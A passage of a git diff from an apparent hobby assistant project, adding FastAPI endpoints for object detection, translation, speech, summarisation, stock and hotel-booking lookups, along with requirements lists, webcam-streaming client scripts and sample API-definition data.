caesaryolo.caesar_object_detect("video") + if image is not None: + #print(image) + ret, buffer = cv2.imencode('.png', image) # turns numpy array into buffer + + #png_as_text = base64.b64encode(buffer) + + #await websocket.send_bytes(base64.b64encode(buffer).decode("utf-8")) + await websocket.send_json({"time_elapsed":time_elapsed,"end_time":end_time}) + #cv2.imshow("image", image) + + else: + break + + + + caesaryolo.cap.release() + ffmpeg_command = ["ffmpeg","-y","-i",f"{CURRENT_DIR}/CaesarObjectDetection/output.avi",f"{CURRENT_DIR}/CaesarObjectDetection/output.mp4"] + subprocess.call(ffmpeg_command) + await websocket.send_json({"result":"finished"}) + + + except WebSocketDisconnect: + print("Client disconnected") + +# Done +@app.get("/caesarobjectdetectvideoget") +def caesarobjectdetectvideoget(): + return FileResponse(f"{CURRENT_DIR}/CaesarObjectDetection/output.mp4") + +@app.post("/createcaesaraipi") +def createcaesaraipi(caesar_api_post : CaesarCreateAPIModel): + caesar_api_post = dict(caesar_api_post) + caesarapi_db_exists = list(importcsv.db.caesarapis.find( { "caesarapis" : { "$exists" : "true" } } )) + #print(caesarapi_db) + if len(caesarapi_db_exists) == 0: + importcsv.db.caesarapis.insert_one(caesar_api_post) + return {"message":"caesarapi created."} + elif len(caesarapi_db_exists) > 0: + caesarapi_db = caesarapi_db_exists[0] + #print(caesarapi_db) + for apis in caesar_api_post["caesarapis"]: + if apis not in caesarapi_db["caesarapis"]: + caesarapi_db["caesarapis"].append(apis) + elif apis in caesarapi_db["caesarapis"]: + continue + importcsv.db.caesarapis.replace_one({ "caesarapis" : { "$exists" : "true" } },caesarapi_db) + return {"message":"caesarapi stored."} +# Done +@app.get("/getcaesaraipi") +def getcaesaraipi(): + try: + caesarapi_db_exists = list(importcsv.db.caesarapis.find( { "caesarapis" : { "$exists" : "true" } } ))[0] + del caesarapi_db_exists["_id"] + return caesarapi_db_exists + except KeyError as kex: + return {"error":f"Api doesn't exist"} +# Done +@app.post("/triggerapi") +def triggerapi(user_trigger : TriggerAPIModel): + user_trigger = dict(user_trigger)["user_trigger"] + try: + caesarapi_db_exists = list(importcsv.db.caesarapis.find( { "caesarapis" : { "$exists" : "true" } } ))[0] + except KeyError as kex: + return {"error":"Api doesn't exist"} + try: + triggered_apis = [i for i in caesarapi_db_exists["caesarapis"] if i["triggerwords"] in user_trigger] + triggered_api = triggered_apis[0] + return triggered_api + except (IndexError,KeyError) as kex: + return {"message":"sorry couldn't understand what api you want."} +# Done +@app.post("/caesaraihotelbookings") +def caesaraihotelbookings(hotelbookings_json: CaesarHotelBookingsModel): + """ + params = { + "city":city, + "checkin_date":"2023-8-01", + "checkout_date":"2023-8-08", + "purpose":"work", + "num_of_adults":10, + "num_of_rooms":5, + "num_of_children":0, + "page_num":i + } + """ + def get_price_range(bookings_json,city,range,): + def condition(dic): + ''' Define your own condition here''' + try: + price = dic['assumed_final_price'] + return price <= range + except KeyError as kex: + return False + #print(bookings_json) + bookings = bookings_json[f"{city.lower()}_bookings"] + filtered = [d for d in bookings if condition(d)] + return filtered + + + try: + overall_booking_info = [] + hotelbookings_json = dict(hotelbookings_json) + try: + exclude_whole = hotelbookings_json["exclude_whole"] + except KeyError as kex: + exclude_whole = None + city = hotelbookings_json["city"] + price_range = hotelbookings_json["price_range"] + print(f"Extracting flight data for {city}...") + for i in tqdm(range(1,hotelbookings_json["num_of_pages"]+1)): + params = { + "city":city, + "checkin_date":hotelbookings_json["checkin_date"], + "checkout_date":hotelbookings_json["checkout_date"], + "purpose":hotelbookings_json["purpose"], + "num_of_adults":hotelbookings_json["num_of_adults"], + "num_of_rooms":hotelbookings_json["num_of_rooms"], + "num_of_children":hotelbookings_json["num_of_children"], + "page_num":i + } + url = CaesarHotelBooking.create_url(**params) + bookinginfo = CaesarHotelBooking.caesar_get_hotel_info(url) + overall_booking_info.append(bookinginfo) + full_bookings = list(itertools.chain(*overall_booking_info)) + price_range_bookings = get_price_range({f"{city.lower()}_bookings":full_bookings},city,price_range) + if exclude_whole == "true": + return {"caesaroutput":{"caesarbookings":price_range_bookings}} + #return {f"{city.lower()}_bookings_lower_than_{price_range}":price_range_bookings} + return {"caesaroutput":{"caesarbookings":full_bookings}} + #return {"caesaroutput":full_bookings} + #return {f"{city.lower()}_bookings":full_bookings,f"{city.lower()}_bookings_lower_than_{price_range}":price_range_bookings} + except Exception as ex: + return {"error":f"{type(ex)}{ex}"} + +@app.post("/caesarlangtranslate") +def caesarlangtranslate(translate_json: CaesarLangTranslateModel): + try:# hello + translate_json = dict(translate_json) + text = translate_json["caesartranslate"] + + language = "en" + try: + responsejson = translate_json["response"] + language = translate_json["language"] + try: + triggerword = translate_json["triggerword"] + caesarlang = CaesarDetectEntity() + text,language = caesarlang.run(triggerword,text,caesarlang.main_entities[triggerword]) + except KeyError as kex: + pass + if responsejson == "true": + response = True + elif responsejson == "false": + response = False + else: + response = False + except KeyError as kex: + response = False + caesarlangtranslate = CaesarLangTranslate() + original,translation,original_language,destination_language = caesarlangtranslate.translate(text,lang=language,response=response) + + + return {"caesaroutput":translation,"caesartranslation":{"original":original,"translation":translation,"original_language":original_language,"destination_language":destination_language}} + + except Exception as ex: + return {"error":f"{type(ex)}-{ex}"} + + + + +@app.get("/caesarlangtranslate") +def caesarlangtranslateget(text:str,triggerword:str,responsejson:str): + try:# hello + caesarlang = CaesarDetectEntity() + try: + text,language = caesarlang.run(triggerword,text,caesarlang.main_entities[triggerword]) + if responsejson == "true": + response = True + elif responsejson == "false": + response = False + else: + response = False + except KeyError as kex: + response = False + caesarlangtranslate = CaesarLangTranslate() + original,translation,original_language,destination_language = caesarlangtranslate.translate(text,lang=language,response=response) + + + return {"caesaroutput":translation,"caesartranslation":{"original":original,"translation":translation,"original_language":original_language,"destination_language":destination_language}} + + except Exception as ex: + return {"error":f"{type(ex)}-{ex}"} + + +@app.post("/caesarsr") +def caesarsr(audio_data: CaesarSRModel): + + transcript = "" + try: + #print("FORM DATA RECEIVED") + + # TODO Make it show that the .3pg extension is adaptable + audiobase64json = dict(audio_data) + decode_bytes = base64.b64decode(audiobase64json["audio_data"].replace("data:video/3gpp;base64,","")) + with open("temp.3pg", "wb") as wav_file: + wav_file.write(decode_bytes) + + os.system('ffmpeg -y -i temp.3pg understand.wav') + recognizer = sr.Recognizer() + audioFile = sr.AudioFile("understand.wav") + with audioFile as source: + data = recognizer.record(source) + transcript = recognizer.recognize_google(data, key=None) + return {"message":transcript} + + except Exception as ex: + return {"error":f"{type(ex)}-{ex}"} + + +@app.post("/caesarvoice") +def caesarvoice(voice_input : CaesarVoiceModel): + try: + voice_input = dict(voice_input) + #try: + filename = voice_input["filename"] + lang = voice_input["language"] + if filename == None: + filename = "temp.wav" + if lang == None: + lang = "en" + CaesarVoice.synthesise(voice_input["text"],filename,lang=lang) + return {"message":"voice syntheized"}# send_file(filename,"audio/x-wav") + except Exception as ex: + return {"error":f"{type(ex)}-{ex}"} + +@app.post("/caesarsummarize") +def caesarsummarize(json_input : CaesarSummarizeModel): + try: + json_input = dict(json_input) + original_text = json_input["text"] + summarization = pipeline("summarization") + summary_text = summarization(original_text)[0]['summary_text'] + return {"caesaroutput":summary_text}# send_file(filename,"audio/x-wav") + except Exception as ex: + return {"error":f"{type(ex)}-{ex}"} + +@app.post("/caesarstockinfo") +def caesarstockinfo(json_input: CaesarStockInfoModel): + try: + json_input = dict(json_input) + # import AAPL stock price + stock_tick = json_input["stock"] + start_date = json_input["start_date"] + end_date = json_input["end_date"] + df = pdr.get_data_yahoo(stock_tick, start=start_date,end=end_date) + print(df) + return {"caesaroutput":str(df.to_csv(index=False))}# send_file(filename,"audio/x-wav") + except Exception as ex: + return {"error":f"{type(ex)}-{ex}"} + + + + +@app.get("/caesarvoiceget") +def caesarvoiceget(): + try: + filename = "temp.wav" + return FileResponse(filename,media_type="audio/x-wav") + except Exception as ex: + return {"error":f"{type(ex)}-{ex}"} +async def main(): + config = uvicorn.Config("main:app", port=7860, log_level="info",host="0.0.0.0",reload=True) + server = uvicorn.Server(config) + await server.serve() + +if __name__ == "__main__": + asyncio.run(main()) diff --git a/removeversions.py b/removeversions.py new file mode 100644 index 0000000000000000000000000000000000000000..160aa0dc6c3abf3c3d6cf9be433d5c2185b9fda2 --- /dev/null +++ b/removeversions.py @@ -0,0 +1,10 @@ +new_rq = "" +with open("requirements_old.txt") as myFile: + pkgs = myFile.read() + pkgs = pkgs.splitlines() + + for pkg in pkgs: + print(pkg.split('==')[0]) + new_rq += f"{pkg.split('==')[0]}\n" +with open("requirements.txt","w+") as myFile: + myFile.write(new_rq) diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000000000000000000000000000000000000..d82759bdd015ef98c70800fb3a1cb619620eedda --- /dev/null +++ b/requirements.txt @@ -0,0 +1,161 @@ +absl-py==1.4.0 +anyio==3.6.2 +arrow==1.2.3 +asgiref==3.6.0 +astunparse==1.6.3 +beautifulsoup4==4.11.2 +bidict==0.22.1 +binaryornot==0.4.4 +blis==0.7.9 +briefcase==0.3.9 +cachetools==5.3.0 +catalogue==2.0.8 +certifi==2022.12.7 +chardet==3.0.4 +charset-normalizer==3.0.1 +click==8.1.3 +confection==0.0.4 +contourpy==1.0.6 +cookiecutter==2.1.1 +cycler==0.11.0 +cymem==2.0.7 +decorator==4.4.2 +deepface==0.0.78 +dnspython==2.3.0 +en-core-web-sm @ https://github.com/explosion/spacy-models/releases/download/en_core_web_sm-3.5.0/en_core_web_sm-3.5.0-py3-none-any.whl +eventlet==0.33.3 +fastapi==0.74.1 +ffmpeg-python==0.2.0 +filelock==3.9.0 +fire==0.5.0 +Flask==2.2.2 +Flask-Cors==3.0.10 +Flask-JWT-Extended==4.4.4 +flatbuffers==23.1.21 +fonttools==4.38.0 +future==0.18.3 +gast==0.4.0 +gbulb==0.6.4 +gdown==4.6.3 +gitdb==4.0.10 +GitPython==3.1.30 +google-auth==2.16.1 +google-auth-oauthlib==0.4.6 +google-pasta==0.2.0 +googletrans==3.1.0a0 +greenlet==2.0.2 +grpcio==1.51.1 +gTTS==2.2.4 +gTTS-token==1.1.4 +h11==0.9.0 +h2==3.2.0 +h5py==3.8.0 +hpack==3.0.0 +hstspreload==2023.1.1 +httpcore==0.9.1 +httptools==0.5.0 +httpx==0.13.3 +huggingface-hub==0.12.0 +hyperframe==5.2.0 +idna==2.10 +imageio==2.25.1 +imageio-ffmpeg==0.4.8 +importlib-metadata==6.0.0 +imutils==0.5.4 +install==1.3.5 +itsdangerous==2.1.2 +Jinja2==3.1.2 +jinja2-time==0.2.0 +keras==2.11.0 +Kivy==2.1.0 +Kivy-examples==2.1.0 +Kivy-Garden==0.1.5 +kiwisolver==1.4.4 +langcodes==3.3.0 +libclang==15.0.6.1 +lxml==4.9.2 +Markdown==3.4.1 +markdown-it-py==2.1.0 +MarkupSafe==2.1.2 +matplotlib==3.5.3 +mdurl==0.1.2 +moviepy==1.0.2 +mtcnn==0.1.1 +murmurhash==1.0.9 +numpy==1.21.6 +oauthlib==3.2.2 +opencv-python==4.7.0.68 +opt-einsum==3.3.0 +packaging==23.0 +pandas==1.3.5 +pandas-datareader==0.10.0 +pathy==0.10.1 +Pillow==9.4.0 +platformdirs==3.0.0 +preshed==3.0.8 +proglog==0.1.10 +protobuf==3.19.6 +psutil==5.9.4 +pyasn1==0.4.8 +pyasn1-modules==0.2.8 +pycairo==1.23.0 +pydantic==1.10.4 +PyGObject==3.42.2 +PyJWT==2.6.0 +pymongo==4.3.3 +pyparsing==3.0.9 +pytesseract==0.3.10 +python-dateutil==2.8.2 +python-dotenv==0.21.1 +python-multipart==0.0.5 +python-slugify==8.0.0 +pytz==2022.7.1 +PyYAML==6.0 +regex==2022.10.31 +requests==2.28.2 +requests-oauthlib==1.3.1 +retina-face==0.0.13 +rfc3986==1.5.0 +rich==13.3.1 +rsa==4.9 +sentencepiece==0.1.97 +six==1.16.0 +smart-open==6.3.0 +smmap==5.0.0 +sniffio==1.3.0 +soupsieve==2.3.2.post1 +spacy==3.5.0 +spacy-legacy==3.0.12 +spacy-loggers==1.0.4 +SpeechRecognition==3.9.0 +srsly==2.4.5 +starlette==0.17.1 +tensorboard==2.11.2 +tensorboard-data-server==0.6.1 +tensorboard-plugin-wit==1.8.1 +tensorflow==2.11.0 +tensorflow-estimator==2.11.0 +tensorflow-io-gcs-filesystem==0.30.0 +termcolor==2.2.0 +text-unidecode==1.3 +thinc==8.1.7 +toga-core==0.3.0 +toga-gtk==0.3.0 +tokenizers==0.13.2 +tomli==2.0.1 +torch==1.11.0 +tqdm +transformers==4.26.1 +travertino==0.1.3 +typer==0.7.0 +typing_extensions==4.4.0 +urllib3==1.26.14 +uvicorn==0.17.6 +uvloop==0.17.0 +wasabi==1.1.1 +watchgod==0.8.2 +websockets==10.4 +Werkzeug==2.2.2 +wrapt==1.14.1 +wsproto==1.2.0 +zipp==3.13.0 diff --git a/requirementss.txt b/requirementss.txt new file mode 100644 index 0000000000000000000000000000000000000000..e8fa068d2bf016f8070b08e98e2a0951d537ac61 --- /dev/null +++ b/requirementss.txt @@ -0,0 +1,83 @@ +beautifulsoup4==4.11.2 +bidict==0.22.1 +blis==0.7.9 +catalogue==2.0.8 +certifi==2022.12.7 +chardet==3.0.4 +charset-normalizer==3.0.1 +click==8.1.3 +confection==0.0.4 +contourpy==1.0.6 +cycler==0.11.0 +cymem==2.0.7 +dnspython==2.3.0 +en-core-web-sm @ https://github.com/explosion/spacy-models/releases/download/en_core_web_sm-3.5.0/en_core_web_sm-3.5.0-py3-none-any.whl +eventlet==0.33.3 +filelock==3.9.0 +Flask==2.2.2 +Flask-Cors==3.0.10 +Flask-JWT-Extended==4.4.4 +Flask-SocketIO==5.3.2 +fonttools==4.38.0 +googletrans==2.4.0 +greenlet==2.0.2 +gTTS==2.3.1 +h11==0.9.0 +h2==3.2.0 +hpack==3.0.0 +hstspreload==2023.1.1 +httpcore==0.9.1 +httpx==0.13.3 +huggingface-hub==0.12.0 +hyperframe==5.2.0 +idna==2.10 +itsdangerous==2.1.2 +Jinja2==3.1.2 +kiwisolver==1.4.4 +langcodes==3.3.0 +lxml==4.9.2 +MarkupSafe==2.1.2 +matplotlib==3.6.3 +murmurhash==1.0.9 +numpy==1.24.2 +opencv-python==4.7.0.68 +packaging==23.0 +pandas==1.5.3 +pandas-datareader==0.10.0 +pathy==0.10.1 +Pillow==9.4.0 +preshed==3.0.8 +pydantic==1.10.4 +PyJWT==2.6.0 +pymongo==4.3.3 +pyparsing==3.0.9 +pytesseract==0.3.10 +python-dateutil==2.8.2 +python-engineio==4.3.4 +python-socketio==5.7.2 +pytz==2022.7.1 +PyYAML==6.0 +regex==2022.10.31 +requests==2.28.2 +rfc3986==1.5.0 +simple-websocket==0.9.0 +six==1.16.0 +smart-open==6.3.0 +sniffio==1.3.0 +soupsieve==2.3.2.post1 +spacy==3.5.0 +spacy-legacy==3.0.12 +spacy-loggers==1.0.4 +SpeechRecognition==3.9.0 +srsly==2.4.5 +thinc==8.1.7 +tokenizers==0.13.2 +tqdm==4.64.1 +transformers==4.26.1 +typer==0.7.0 +typing_extensions==4.4.0 +urllib3==1.26.14 +wasabi==1.1.1 +websockets==10.4 +Werkzeug==2.2.2 +wsproto==1.2.0 diff --git a/sendweb.html b/sendweb.html new file mode 100644 index 0000000000000000000000000000000000000000..3eefd3478fb1f120cc7d92d35f9bb5b49111fce9 --- /dev/null +++ b/sendweb.html @@ -0,0 +1,29 @@ + + + + Example + + + + - autoclose_loader: true + - runtimes: + - src: "https://cdn.jsdelivr.net/pyodide/dev/full/pyodide.js" + name: pyodide-dev + lang: python + + + - opencv-python + - websockets + + + + +

This is an example of a simple HTML page with one paragraph.

+ + + print(“This is Python!”) + + + diff --git a/sendweb.py b/sendweb.py new file mode 100644 index 0000000000000000000000000000000000000000..701553b08d28e345e8e556a9cb94c8741c020124 --- /dev/null +++ b/sendweb.py @@ -0,0 +1,150 @@ +import cv2 +import numpy as np +import requests +import base64 +import time +import websockets +import asyncio +import cv2 +import json +import os +import imutils +class CaesarSendWeb: + @classmethod + def send_video_https(self,uri = "http://192.168.0.10:7860/caesarobjectdetect"): + cap = cv2.VideoCapture(0) + while True: + _, image = cap.read() + #uri = "http://palondomus-caesarai.hf.space/caesarobjectdetect" + response = requests.post(uri,json={"frame":base64.b64encode(image).decode(),"shape":[image.shape[0],image.shape[1]]}) + valresp = response.json() + + imagebase64 = np.array(valresp["frame"]) + + image = np.frombuffer(base64.b64decode(imagebase64),dtype="uint8").reshape(valresp["shape"][0],valresp["shape"][1],3) + cv2.imshow("image", image) + if ord("q") == cv2.waitKey(1): + break + + cap.release() + cv2.destroyAllWindows() + @classmethod + def send_video_websocket(self,uri = 'wss://palondomus-caesarai.hf.space/caesarobjectdetectws',jsondata=None,phone=False): + if phone == False: + camera = cv2.VideoCapture(0) + + async def main(): + # Connect to the server + #uri = 'wss://palondomus-caesarai.hf.space/sendvideows' + #uri = 'wss://palondomus-caesarai.hf.space/caesarobjectdetectws' + async with websockets.connect(uri) as ws: + while True: + if phone == False: + success, frame = camera.read() + elif phone == True: + img_resp = requests.get("http://192.168.0.14:8080/shot.jpg") + frame_arr = np.array(bytearray(img_resp.content),dtype=np.uint8) + frame = cv2.imdecode(frame_arr,-1) + frame = imutils.resize(frame,width=500,height=600) + success = True + #print(frame.shape) + #1080, 1920, 3) + #print(success) + #print(frame.shape) + if not success: + break + else: + #print("hi") + ret, buffer = cv2.imencode('.png', frame) + await ws.send(buffer.tobytes()) + if jsondata: + await ws.send(json.dumps(jsondata)) + + contents = await ws.recv() + if type(contents) == bytes: + arr = np.frombuffer(contents, np.uint8) + frameobj = cv2.imdecode(arr, cv2.IMREAD_UNCHANGED) + cv2.imshow('frame',frameobj) + cv2.waitKey(1) + if type(contents) == str: + print(json.loads(contents)) + asyncio.run(main()) + @classmethod + def send_image_recieve_text(self,uri ="http://192.168.0.10:7860/caesarocr",showimage=False): + + cap = cv2.VideoCapture(0) + + _, image = cap.read() + #uri = "http://palondomus-caesarai.hf.space/caesarobjectdetect" + response = requests.post(uri,json={"frame":base64.b64encode(image).decode(),"shape":[image.shape[0],image.shape[1]]}) + messageresp = response.json() + if showimage == True: + cv2.imshow('frame',image) + cv2.waitKey(0) + # closing all open windows + cv2.destroyAllWindows() + + return messageresp + @classmethod + def send_image_recieve_image(self,uri ="http://192.168.0.10:7860/caesarfacesnap",showimage=False,saveimage=False): + + cap = cv2.VideoCapture(0) + + _, image = cap.read() + #uri = "http://palondomus-caesarai.hf.space/caesarobjectdetect" + + response = requests.post(uri,json={"frame":base64.b64encode(image).decode(),"shape":[image.shape[0],image.shape[1]]}) + valresp = response.json() + if valresp["frame"] == "no face was detected.": + print("No face was detected.") + if valresp["frame"] != "no face was detected.": + imagebase64 = np.array(valresp["frame"]) + + image = np.frombuffer(base64.b64decode(imagebase64),dtype="uint8").reshape(valresp["shape"][0],valresp["shape"][1],3) + if showimage == True: + cv2.imshow('frame',image) + cv2.waitKey(0) + # closing all open windows + cv2.destroyAllWindows() + if saveimage == True: + filename = "croppedimage.png" + count = 0 + while filename in os.listdir("CaesarFaceDetection/FaceDataPoints/"): + filename = f"{filename.replace('.png','').replace(f'{count-1}','')}{count}.png" + count +=1 + cv2.imwrite(f"CaesarFaceDetection/FaceDataPoints/{filename}", image) + + + + return image +if __name__ == "__main__": + #success, frame = camera.read() + + #yolo_uri = 'wss://palondomus-caesarai.hf.space/caesarobjectdetectws' + #CaesarSendWeb.send_video_websocket(uri = yolo_uri) + + #video_uri = 'wss://palondomus-caesarai.hf.space/sendvideows' + #CaesarSendWeb.send_video_websocket(uri = video_uri) + + #extraction_uri = "wss://palondomus-caesarai.hf.space/caesarocrextractionws" + #CaesarSendWeb.send_video_websocket(uri = extraction_uri,jsondata={"target_words":["your","brain","power"]}) + + #ocrws_uri = "wss://palondomus-caesarai.hf.space/caesarocrws" + #CaesarSendWeb.send_video_websocket(uri = ocrws_uri) + + #ocr_uri = "http://192.168.0.10:7860/caesarocr" + #message = CaesarSendWeb.send_image_recieve_text(uri = ocr_uri,showimage=True) + #print(message) + + facedetect_uri = "wss://palondomus-caesarai.hf.space/caesarfacedetectws"#"wss://palondomus-caesarai.hf.space/caesarfacedetectws" + CaesarSendWeb.send_video_websocket(uri = facedetect_uri,phone=True) + + #facesnap_uri = "http://192.168.0.10:7860/caesarfacesnap" + #cropped_image = CaesarSendWeb.send_image_recieve_image(uri = facesnap_uri,saveimage=True) + #print(cropped_image) + + + + + #https_uri = 'http://192.168.0.10:7860/caesarobjectdetect' + #CaesarSendWeb.send_video_https(uri = https_uri) diff --git a/sendwebphone.py b/sendwebphone.py new file mode 100644 index 0000000000000000000000000000000000000000..701553b08d28e345e8e556a9cb94c8741c020124 --- /dev/null +++ b/sendwebphone.py @@ -0,0 +1,150 @@ +import cv2 +import numpy as np +import requests +import base64 +import time +import websockets +import asyncio +import cv2 +import json +import os +import imutils +class CaesarSendWeb: + @classmethod + def send_video_https(self,uri = "http://192.168.0.10:7860/caesarobjectdetect"): + cap = cv2.VideoCapture(0) + while True: + _, image = cap.read() + #uri = "http://palondomus-caesarai.hf.space/caesarobjectdetect" + response = requests.post(uri,json={"frame":base64.b64encode(image).decode(),"shape":[image.shape[0],image.shape[1]]}) + valresp = response.json() + + imagebase64 = np.array(valresp["frame"]) + + image = np.frombuffer(base64.b64decode(imagebase64),dtype="uint8").reshape(valresp["shape"][0],valresp["shape"][1],3) + cv2.imshow("image", image) + if ord("q") == cv2.waitKey(1): + break + + cap.release() + cv2.destroyAllWindows() + @classmethod + def send_video_websocket(self,uri = 'wss://palondomus-caesarai.hf.space/caesarobjectdetectws',jsondata=None,phone=False): + if phone == False: + camera = cv2.VideoCapture(0) + + async def main(): + # Connect to the server + #uri = 'wss://palondomus-caesarai.hf.space/sendvideows' + #uri = 'wss://palondomus-caesarai.hf.space/caesarobjectdetectws' + async with websockets.connect(uri) as ws: + while True: + if phone == False: + success, frame = camera.read() + elif phone == True: + img_resp = requests.get("http://192.168.0.14:8080/shot.jpg") + frame_arr = np.array(bytearray(img_resp.content),dtype=np.uint8) + frame = cv2.imdecode(frame_arr,-1) + frame = imutils.resize(frame,width=500,height=600) + success = True + #print(frame.shape) + #1080, 1920, 3) + #print(success) + #print(frame.shape) + if not success: + break + else: + #print("hi") + ret, buffer = cv2.imencode('.png', frame) + await ws.send(buffer.tobytes()) + if jsondata: + await ws.send(json.dumps(jsondata)) + + contents = await ws.recv() + if type(contents) == bytes: + arr = np.frombuffer(contents, np.uint8) + frameobj = cv2.imdecode(arr, cv2.IMREAD_UNCHANGED) + cv2.imshow('frame',frameobj) + cv2.waitKey(1) + if type(contents) == str: + print(json.loads(contents)) + asyncio.run(main()) + @classmethod + def send_image_recieve_text(self,uri ="http://192.168.0.10:7860/caesarocr",showimage=False): + + cap = cv2.VideoCapture(0) + + _, image = cap.read() + #uri = "http://palondomus-caesarai.hf.space/caesarobjectdetect" + response = requests.post(uri,json={"frame":base64.b64encode(image).decode(),"shape":[image.shape[0],image.shape[1]]}) + messageresp = response.json() + if showimage == True: + cv2.imshow('frame',image) + cv2.waitKey(0) + # closing all open windows + cv2.destroyAllWindows() + + return messageresp + @classmethod + def send_image_recieve_image(self,uri ="http://192.168.0.10:7860/caesarfacesnap",showimage=False,saveimage=False): + + cap = cv2.VideoCapture(0) + + _, image = cap.read() + #uri = "http://palondomus-caesarai.hf.space/caesarobjectdetect" + + response = requests.post(uri,json={"frame":base64.b64encode(image).decode(),"shape":[image.shape[0],image.shape[1]]}) + valresp = response.json() + if valresp["frame"] == "no face was detected.": + print("No face was detected.") + if valresp["frame"] != "no face was detected.": + imagebase64 = np.array(valresp["frame"]) + + image = np.frombuffer(base64.b64decode(imagebase64),dtype="uint8").reshape(valresp["shape"][0],valresp["shape"][1],3) + if showimage == True: + cv2.imshow('frame',image) + cv2.waitKey(0) + # closing all open windows + cv2.destroyAllWindows() + if saveimage == True: + filename = "croppedimage.png" + count = 0 + while filename in os.listdir("CaesarFaceDetection/FaceDataPoints/"): + filename = f"{filename.replace('.png','').replace(f'{count-1}','')}{count}.png" + count +=1 + cv2.imwrite(f"CaesarFaceDetection/FaceDataPoints/{filename}", image) + + + + return image +if __name__ == "__main__": + #success, frame = camera.read() + + #yolo_uri = 'wss://palondomus-caesarai.hf.space/caesarobjectdetectws' + #CaesarSendWeb.send_video_websocket(uri = yolo_uri) + + #video_uri = 'wss://palondomus-caesarai.hf.space/sendvideows' + #CaesarSendWeb.send_video_websocket(uri = video_uri) + + #extraction_uri = "wss://palondomus-caesarai.hf.space/caesarocrextractionws" + #CaesarSendWeb.send_video_websocket(uri = extraction_uri,jsondata={"target_words":["your","brain","power"]}) + + #ocrws_uri = "wss://palondomus-caesarai.hf.space/caesarocrws" + #CaesarSendWeb.send_video_websocket(uri = ocrws_uri) + + #ocr_uri = "http://192.168.0.10:7860/caesarocr" + #message = CaesarSendWeb.send_image_recieve_text(uri = ocr_uri,showimage=True) + #print(message) + + facedetect_uri = "wss://palondomus-caesarai.hf.space/caesarfacedetectws"#"wss://palondomus-caesarai.hf.space/caesarfacedetectws" + CaesarSendWeb.send_video_websocket(uri = facedetect_uri,phone=True) + + #facesnap_uri = "http://192.168.0.10:7860/caesarfacesnap" + #cropped_image = CaesarSendWeb.send_image_recieve_image(uri = facesnap_uri,saveimage=True) + #print(cropped_image) + + + + + #https_uri = 'http://192.168.0.10:7860/caesarobjectdetect' + #CaesarSendWeb.send_video_https(uri = https_uri) diff --git a/setup.sh b/setup.sh new file mode 100644 index 0000000000000000000000000000000000000000..f021a8cf89b9b255364f4adb6360f0633538f127 --- /dev/null +++ b/setup.sh @@ -0,0 +1,2 @@ +apt-get install ffmpeg +python app.py \ No newline at end of file diff --git a/temp.3pg b/temp.3pg new file mode 100644 index 0000000000000000000000000000000000000000..031a25588e2dc5d345308499231908d150acbf73 Binary files /dev/null and b/temp.3pg differ diff --git a/test.json b/test.json new file mode 100644 index 0000000000000000000000000000000000000000..aaf543819219f52e5a82b1df466019822ab85632 --- /dev/null +++ b/test.json @@ -0,0 +1,88 @@ +{ + + "caesarapis": [ + { + "api_name": "Caesar Translate", + "triggerwords": "translate", + "example": "Translate hello world into Spanish", + "url": "http://192.168.0.10:7860/caesarlangtranslate", + "responseresult": { + "caesaroutput": "Hola Mundo", + "caesartranslation": { + "destination_language": "en", + "original": "hello world", + "original_language": "es", + "translation": "Hola Mundo" + } + }, + "method": "POST", + "content_type": "application/json", + "data": { + "caesartranslate": "translate hello world into Spanish", + "response": "true", + "language": "fr", + "triggerword": "translate" + }, + "auth": "none", + "token": "none" + }, + { + "api_name": "Caesar Send Email", + "triggerwords": "email", + "example": "Send email to Amari Saying hello world", + "url": "https://revisionbank-email.onrender.com/raspsendemail", + "responseresult": { + "raspsendemail": "RaspSendEmail sent." + }, + "method": "POST", + "content_type": "application/json", + "data": { + "email": "amari.lawal05@gmail.com", + "subject": "CaesarAI", + "message": "hello world", + "caesar": "true" + }, + "auth": "none", + "token": "none" + }, + { + "api_name": "Caesar Hotel Booking", + "triggerwords": "hotel booking", + "example": "find hotel booking for Alicante", + "url": "http://192.168.0.10:7860/caesaraihotelbookings", + "responseresult": { + "caesaroutput": { + "caesarbookings": [ + "list of bookings" + ] + } + }, + "method": "POST", + "content_type": "application/json", + "data": { + "city": "Alicante", + "checkin_date": "2023-8-15", + "checkout_date": "2023-8-22", + "purpose": "leisure", + "num_of_adults": { + "$numberInt": "10" + }, + "num_of_rooms": { + "$numberInt": "5" + }, + "num_of_children": { + "$numberInt": "0" + }, + "price_range": { + "$numberInt": "2000" + }, + "num_of_pages": { + "$numberInt": "10" + }, + "exclude_whole": "true" + }, + "auth": "none", + "token": "none" + } + ] +} \ No newline at end of file diff --git a/test.txt b/test.txt new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/test2.py b/test2.py new file mode 100644 index 0000000000000000000000000000000000000000..766c67a137ae9d864766fab2311c782a08cab9c7 --- /dev/null +++ b/test2.py @@ -0,0 +1,95 @@ +from csv_to_db import ImportCSV +importcsv = ImportCSV("CaesarAI") + +print() + + + +importcsv.db.caesarapis.insert_one({ + + "caesarapis": [ + { + "api_name": "Caesar Translate", + "triggerwords": "translate", + "example": "Translate hello world into Spanish", + "url": "http://192.168.0.10:7860/caesarlangtranslate", + "responseresult": { + "caesaroutput": "Hola Mundo", + "caesartranslation": { + "destination_language": "en", + "original": "hello world", + "original_language": "es", + "translation": "Hola Mundo" + } + }, + "method": "POST", + "content_type": "application/json", + "data": { + "caesartranslate": "translate hello world into Spanish", + "response": "true", + "language": "fr", + "triggerword": "translate" + }, + "auth": "none", + "token": "none" + }, + { + "api_name": "Caesar Send Email", + "triggerwords": "email", + "example": "Send email to Amari Saying hello world", + "url": "https://revisionbank-email.onrender.com/raspsendemail", + "responseresult": { + "raspsendemail": "RaspSendEmail sent." + }, + "method": "POST", + "content_type": "application/json", + "data": { + "email": "amari.lawal05@gmail.com", + "subject": "CaesarAI", + "message": "hello world", + "caesar": "true" + }, + "auth": "none", + "token": "none" + }, + { + "api_name": "Caesar Hotel Booking", + "triggerwords": "hotel booking", + "example": "find hotel booking for Alicante", + "url": "http://192.168.0.10:7860/caesaraihotelbookings", + "responseresult": { + "caesaroutput": { + "caesarbookings": [ + "list of bookings" + ] + } + }, + "method": "POST", + "content_type": "application/json", + "data": { + "city": "Alicante", + "checkin_date": "2023-8-15", + "checkout_date": "2023-8-22", + "purpose": "leisure", + "num_of_adults": { + "$numberInt": "10" + }, + "num_of_rooms": { + "$numberInt": "5" + }, + "num_of_children": { + "$numberInt": "0" + }, + "price_range": { + "$numberInt": "2000" + }, 